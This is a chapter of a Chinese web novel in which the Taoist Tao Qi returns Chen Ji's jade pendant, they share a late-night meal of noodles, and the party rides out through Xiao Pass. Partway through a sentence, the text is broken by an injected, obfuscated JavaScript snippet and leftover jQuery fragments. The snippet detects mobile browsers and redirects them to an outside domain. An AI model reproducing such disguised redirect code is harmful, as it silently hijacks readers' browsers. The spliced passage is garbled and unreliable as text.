默认冷灰
24号文字
方正启体

25. 玉佩

作者:我捡垃圾吃本书字数:K更新时间:
    自打锦衣使快马加鞭赶回司州府城,将陈霁的玉佩给他,知府成缅一刻不敢耽搁,带了一队府兵先行进山。


    剩后面拉着一车药材、一车粮食的车队,快不起来,慢慢赶路。


    匆匆赶路不敢有一刻休息,看起来累瘦了一圈的成知府嘟囔玄凡:“哎呦我的姑奶奶呀,你这走了也不让人消停。”


    手中品相极佳的冰沁玉佩,像是烫手山芋,成缅拿着焦心。


    等他看到村口阴森森的道观,心已经提到嗓子眼,耳边还不断传来像野兽嘶吼般的“吃肉”、“吃肉”……


    他愈加焦心,圆脸皱成大饼,直到看到村子尽头围作两堆的人,皆腹部隆起,状似恶鬼神情狰狞,嘴里重复着“肉”“吃肉”。


    一身道袍的玄凡真人被踩在人堆里,双眼紧闭,生死不明。


    成缅感觉自己这知府的位置要当到头。


    送玉佩传话的锦衣使在前头领路,已经先下马随府兵劈开这群鬼人,捞起玄凡道长。


    随载货车队姗姗来迟的郎中被他提着衣领抓去给玄凡看伤,所幸没有伤及太深,皮外伤上药,避水几日就能好。


    另一个锦衣使伤势较重,胳膊上被咬了数个牙印,还被活生生撕扯下来一块肉,看起来伤口有些狰狞,他瞧着便感觉肉疼,不过身强体壮,也无甚大碍。


    成缅这才舒一口气,在马车外等玄凡醒来。


    陶杞转醒后,瞧见自己在马车里,车窗外亮如白昼,她掀开门帘探头出去,迎面是一张圆润的脸庞,成缅。


    她有一丝空落,不知在期待什么,拍拍脑袋换了思绪,问道:“小虎呢?”


    “小虎?那个锦衣使吗,没啥事儿,郎中已经看过了。”


    成缅话音刚落,一辆木板车上传来小虎傻愣愣的声音:“老仓,你怎么回来了?”


    是先前随她进村寻马的锦衣使,陶杞认得。


    带着玉佩回去找成缅的便是老仓,此刻正骑马在木板车旁随行,小虎醒来便看到了。


    陶杞扒着车窗朝他们张望,正准备问小虎如何,成缅扔过来一块玉佩,白得几乎看不出青色,温润冰泽。


    那日山中到访,陈霁穿了深灰色长衫,腰间戴的便是这枚玉佩。


    成缅瞧她认识,直接说:“捎着上路,物归原主。”


    玉佩静静躺在手心,触感微凉,沁润心神。


    陶杞看着手中玉佩,想到分开前她质问时,陈霁看着他的模样;她将玉佩收进衣襟,从马车下来,向成缅要了匹快马。


    不再耽搁,她想快点和锦衣卫汇合。


    剩下的事交给成缅她放心,这个油润作人精的胖子,既然军户村此事已被掀开,他会处理好的。


    老仓和小虎瞧见,没有犹豫,皆驾马跟上她。


    陶杞最后回头看向军户村,火把点燃夜空,她第一次如此清晰地看到军户村的样子,却感觉很陌生。


    她亦想不起村民的脸,刘贵儿、阿雀的脸皆是模糊,就好像第一次遇见时,他们游荡在山雾中一样,昏沉朦胧。


    原来她始终没有看清。


    收回视线,驾马又快了几分。


    之后三人几乎没有睡个囫囵觉,在驿站换马休息一两个时辰便继续上路。


    一路出了司州府,进入安州府。


    五日后,在安州府边缘追上大部队。


    此处距离萧关一日程,按照张章留下的消息,明日便要出塞追捕。


    多日昼夜不停的奔波,今夜锦衣卫停下休整,出关后便又要一段长途跋涉。


    陶杞三人到驿站已是夜半,锦衣使皆睡下,他们静悄悄寻了空房间睡觉,准备明日一早跟上大部队出关。


    小虎和老仓倒头就睡,陶杞站在房门口,推门的手却收回来,落在心口,捂在衣襟处放陈霁玉佩的地方。


    她想还回去。


    为什么如此着急?


    陶杞自己问自己,急什么?


    小声嘟囔:“大半夜都在睡觉,谁半夜还东西呀?我连日追赶是为了赶上大部队,不是为了赶上陈霁。”


    她说服自己按耐下莫名急切的心情,正准备推门回屋睡觉,旁边传来一声轻咳。


    “?”


    陶杞一惊,看向隔壁房门,陈霁不知何时站在门口,几日未见,苍白的脸上竟冒出些许青胡茬。


    她一时不知如何开口,不过几日却好像时隔好久,面前的陈霁有些不一样。


    她说不上到底是哪里不一样,也许是胡茬让她产生的错觉,或许陈霁不是她想那般轻贱人命。


    “我……”


    “你…”


    两人同时开口,又同时安静。


    陶杞想到几日前两人的最后一面,她好像想将袖中匕首扎在这人心上,她不是扭捏之人,当即决定做些什么弥补一下。


    陈霁见她没了下文,继续说到:“我饿了,出来找吃的。”


    哦。


    陶杞左耳朵进右耳朵出,和她说干嘛?奇怪。


    不对,机会这不就来了嘛。


    “我来做!你想吃什么?”


    陶杞问出口便后悔了,她还想不会做饭,只会做一样——馄饨。


    馄饨她很拿手,从小和她爹学的。


    赶在陈霁开口前,她忙说:“馄饨吧,馄饨最适合当夜宵了,我给你做,我最拿手馄饨了。”


    三言两语间,陈霁只说他饿了,陶杞已然定下他要吃什么,怎么做。


    陶杞自己也觉得有些生硬,手脚怎么放怎么别扭,她转身往厨房走,一边走一边朝身后说:“等我做好端给你。”


    陈霁:“……行。”


    陶杞到灶房一顿翻找,找出一袋面粉,和一块挂在檐下风干的腊肉;她想找新鲜的肉,但可能是不好存放,驿站并没有。


    也行都是肉,没差的,腊肉还更香一点。


    陶杞马上下定决心,就用腊肉,她撸起袖子,开始和面皮儿。


    倒面粉加水,原本一切顺利,陶杞感觉一切顺利,然后就不顺利了。


    在经历水多了加面、面多了加水的反复后,一盆面团已经快要溢出来,完全没法继续揉。


    她随手擦掉脸上的汗,想出了解决办法,拿一小团够用大小的面团,放到另一个干净的盆中,继续调需要包馄饨的软硬。


    完全没意识到,可能继续重复水多了加面、面多了加水,然后溢出来。


    正当她打算施行她的法子时,陈霁走了进来。


    陶杞尴尬地笑笑,为了不让陈霁看出她的困境,马上嘴硬到:“快了快了,马上好。”


    然后她发现,陈霁脸上的胡茬不见了,先前的不一样消失,他又是那个举手投足矜贵淡漠的指挥使。


    陶杞收回的视线再次转回去,瞄了一眼,陈霁这人怎么大半夜刮胡茬?


    她很快收回狐疑的视线,埋下疑问,继续和面团混战。


    陈霁走上前,面前两盆面团一览无余,一盆已经满到溢出来的稀面糊,还有一盆即将溢出来的面石头疙瘩。


    他眼中显出沉思,默默看陶杞重复了一遍加水又加面的步骤,在她打算加第二遍水时开口:


    “要不,我来做?”


    “不用不用,我会做,快好了,马上马上。”


    这话有点耳熟,一炷香前好像听到过。


    陶杞拿起水瓢,正打算舀水加进去,陈霁骨节分明的手握上她的手腕。


    “我相信你会做。”


    陈霁看着她,眼中难得认真:“这次我来吧。”


    陶杞终于瞧出陈霁眼中的坚决,她将粘满面粉的手从面盆中拿出来。


    “行,你来也行。”


    她的额头渗满汗珠,打算伸手擦掉,刚抬起手,手腕又被陈霁握住,这次直接握住了两只手。


    陶杞愣愣看着陈霁,不明白又怎么了。


    陈霁看着面前的陶杞,汗落后的脸晶莹剔透,脸颊微红,鼻头和额头沾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625855|172354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上面粉,一双杏眼映着他的影子。


    他敛了眼皮,眸色染上情绪,松开手转过身,沉声说:“先洗手。”


    陶杞迟迟反应过来,赶忙洗了手,又洗了脸。


    然后百无聊懒看陈霁下面,切腊肉,两碗腊肉阳春面便做好了。


    浇上热面汤,香味满盈。


    陶杞早就看饿了,抱起陈霁推过来给她的面,筷子直取腊肉,她馋这几块腊肉好久了。


    放入口中,先是腊肉带着柴火气的香味,一口咬下去,咸、咸咸——!


    咸得陶杞难以下咽,可对面是陈霁淡淡的脸,她不敢多嚼,囫囵个咽下去这块咸得剌喉咙的腊肉,不顾面汤太烫,忙喝几口。


    脸颊愈发的红,终于从咸和烫中缓过劲,讪讪说:“好吃,好吃。”


    陈霁瞧着她面色一瞬间多次变幻,却仍是说出“好吃”,淡淡的神色出现些微不自然的松动,夹起一筷子面尝尝。


    还好,虽清淡,却不算难吃。


    陶杞看出陈霁还算满意,脸上挂上甜甜的笑,目光狡黠。


    “是好吃,腊肉配面,更香了,陈指挥使快尝尝。”


    她看着陈霁夹起一筷子面条和腊肉,送入口中,瞪大眼睛,瞧着陈霁始终没有太大波动的脸上出现情绪的龟裂。


    陶杞满意的弯了嘴角。


    看着陈霁同她刚刚一样,强忍着咽下腊肉,心满意足。


    面不能浪费,陶杞端了坐在灶房门槛前慢慢吃着,除了忘洗咸得齁的腊肉,面很不错,超乎她对陈霁手艺的预想。


    陈霁也从灶房中走出来,端了面倚在门框慢斯条理吃着。


    此地已近西北,夜幕是一片深蓝,空旷静谧,近在眼前。


    陶杞吃完面,端着空碗安静坐着不动,似在低语:“你是如何看出,军户村的人不值得停留?”


    “我没有看出来。”


    身后的声音如夜空般空寂。


    她没想到是这个答案,回身仰头看向陈霁:“那你为什么不让我留下?”


    陈霁低头,看到的眸子闪着星光,想头顶的夜空;他想起那晚也是这样的双眼,喊着怒意看向他,袖中匕首蓄势待发。


    转身离开,淡漠道:“他们死活,与我无关。”


    陶杞起身跟上,从胸前掏出玉佩,塞进陈霁的手中,又把陈霁另一只手的空碗拿回来,从他身边走过时,眼含促狭笑意,悠悠道:“无关,但是要告诉成知府啦。”


    原来陈霁是个嘴硬的。


    她将两人的碗洗干净,又留了字条让驿站伙夫不要浪费两盆面,等早上烙成面饼她带着上路。


    和陈霁一前一后回了房间。


    陶杞回房间倒头大睡,隔了一墙的房间内,陈霁坐在桌前,看着手中的玉佩。


    似还有余温;


    温热,灼心。


    第二日一早,陶杞到灶房拿上烙饼,遇到早起的锦衣使,先是老仓向她简单点头示意,又是小虎,之后又是三三两两与她问好的锦衣使。


    “道长好。”


    “玄凡真人伤如何了?”


    陶杞心情很好,骑上马,随陈霁和一众锦衣卫,再次上路。


    一路不停,日落时分,面前出现一座雄伟的关塞。


    萧关,到了。


    此一出去,便是茫茫塞外。


    古代的城门挡住洒落的夕阳,在地上投射出巨大的阴影。


    城楼上暮鼓渐起,浑厚震荡的鼓声传出千里。


    他们踩着晨钟声出发,踏着暮鼓声出塞,身形在地上拉出长长的影子。


    出了关,景色立马变得不一样。


    旷野千里,苍河气壮。


    陈霁看着眼前的苍茫原野,天际处雪山连绵,覆雪的山顶在夕阳下,泛出淡淡金光,他停下注视片刻。


    陶杞在一旁,瞧见他脸上出现一丝憧憬,转瞬即逝,被她捕捉到了。


    她直觉,陈霁喜欢这样的景象。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)